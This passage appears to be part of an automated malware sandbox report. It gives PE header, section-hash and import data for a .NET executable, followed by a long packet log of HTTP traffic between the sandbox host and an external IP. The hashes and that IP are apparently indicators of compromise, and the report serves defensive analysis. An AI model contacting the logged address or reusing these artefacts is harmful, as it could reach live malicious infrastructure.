add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3240	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x5ae	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1290	0x1400	3c17bd455a9a16dcc59c86f18c173709	False	0.5390625	data	5.312273419283543	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x5ae	0x600	4b1fd30f53279ce2ef402d744751eed0	False	0.4225260416666667	data	4.095869690108712	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	cf4c4b73afbdd92804184d30a580e77e	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x405c	0x32c	data			0.41995073891625617
RT_MANIFEST	0x43c4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 3, 2024 23:26:50.083354950 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.250827074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.250925064 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.251697063 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.423023939 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.423712969 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.423758984 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.423796892 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.423801899 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.423885107 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.423922062 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.423969030 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.424010038 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.424050093 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.424323082 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.424571037 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.424582005 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.424592972 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.424612999 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.424633026 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.589780092 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.589808941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.589828014 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.589857101 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.589982986 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590025902 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.590046883 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590137959 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590178967 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.590408087 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590482950 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590527058 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.590531111 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590590000 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590635061 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.590640068 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590662003 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590708017 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590714931 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.590770960 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590815067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.590831995 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590886116 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.590933084 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.590954065 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.591022968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.591070890 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.591070890 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.591114044 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.591151953 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.758804083 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.758867979 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.758920908 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.758955002 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759042025 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759083033 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759113073 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759208918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759251118 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759278059 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759327888 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759366989 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759383917 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759452105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759491920 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759553909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759588003 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759608030 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759643078 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759674072 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759710073 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759728909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759763002 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759783030 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759803057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759819984 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759830952 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759887934 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759923935 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759942055 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.759974957 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.759994984 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760027885 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760040998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760077953 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760097980 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760138035 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760162115 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760195017 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760217905 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760250092 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760278940 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760313034 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760330915 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760364056 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760385036 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760418892 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760438919 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760473013 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760508060 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760535002 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760544062 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760571957 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760600090 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760634899 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.760674953 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.760710001 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.928814888 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.928869009 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.928877115 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.929038048 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.929106951 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.929106951 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.929120064 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.929135084 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.929161072 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.929172039 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.929181099 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.929222107 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.929234982 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.929272890 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.929332972 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.929373980 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.929534912 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.929574966 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.929797888 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.929837942 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.929923058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.929964066 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.930152893 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.930191040 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.930339098 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.930378914 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.930507898 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.930548906 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.930758953 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.930795908 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.930860996 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.930902004 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.930932999 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.930970907 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.931623936 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.931665897 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.931735039 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.931772947 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.931845903 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.931886911 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.932596922 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.932631969 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.933808088 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.933860064 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.933888912 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.933934927 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.933990002 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.934001923 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.934034109 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.934092999 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.934119940 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.934129953 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.934222937 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.934266090 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.934344053 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.934384108 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.934628963 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.934669971 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.934739113 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.934779882 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.934802055 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.934839010 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.934845924 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.934881926 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:50.934912920 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:50.934967995 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.100687981 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.100822926 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.100836992 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.100883961 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.100955009 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.100984097 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.100984097 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.101011992 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.101048946 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.101162910 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.101253033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.101289034 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.101383924 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.101746082 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.101788044 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.102216959 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.102252960 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.103159904 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.103200912 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.103240013 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.103287935 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.103343010 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.103385925 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.103420973 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.103465080 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.103478909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.103523970 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.103545904 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.103585958 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.104077101 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.104119062 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.105164051 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.105207920 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.105473042 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.105511904 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.105844021 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.105886936 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.106113911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.106156111 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.106239080 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.106281996 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.106348991 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.106389999 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.106440067 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.106481075 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.106534004 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.106575012 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.106590986 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.106633902 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.106653929 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.106693983 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.269143105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.269164085 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.269191980 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.269332886 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.269332886 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.269694090 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.269738913 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.270082951 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.270095110 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.270126104 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.271327972 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.271343946 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.271382093 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.271398067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.271440029 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.271477938 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.271523952 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.271563053 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.273256063 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.273307085 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.276212931 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.276230097 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.276243925 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.276256084 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.276273966 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.276292086 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.436662912 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.436690092 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.436836958 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.436836958 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.436955929 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.437000990 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.437057972 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.437098026 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.438410997 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.438487053 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.438570023 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.438584089 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.438605070 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.438625097 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.438653946 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.438699961 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.438760996 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.438802004 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.438815117 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.438852072 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.438913107 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.438951969 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.444242001 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.444313049 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.444325924 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.444370985 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.444530964 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.444544077 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.444567919 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.444590092 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.606795073 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.606858015 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.606936932 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.606971025 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.606971025 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.606971025 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.608361006 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.608403921 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.608458996 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.608494043 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.608551979 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.608589888 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.608630896 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.608669996 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.608701944 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.608736992 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.613991976 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.614029884 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.614044905 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.614077091 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.614149094 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.614186049 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.614204884 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.614239931 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.778363943 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.778393030 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.778429031 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.778485060 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.778525114 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.778525114 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.778525114 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.778532982 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.778558969 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.778564930 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.779674053 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.779722929 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.779753923 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.779792070 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.779802084 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.779841900 CEST	49730	80	192.168.2.4	185.164.163.18
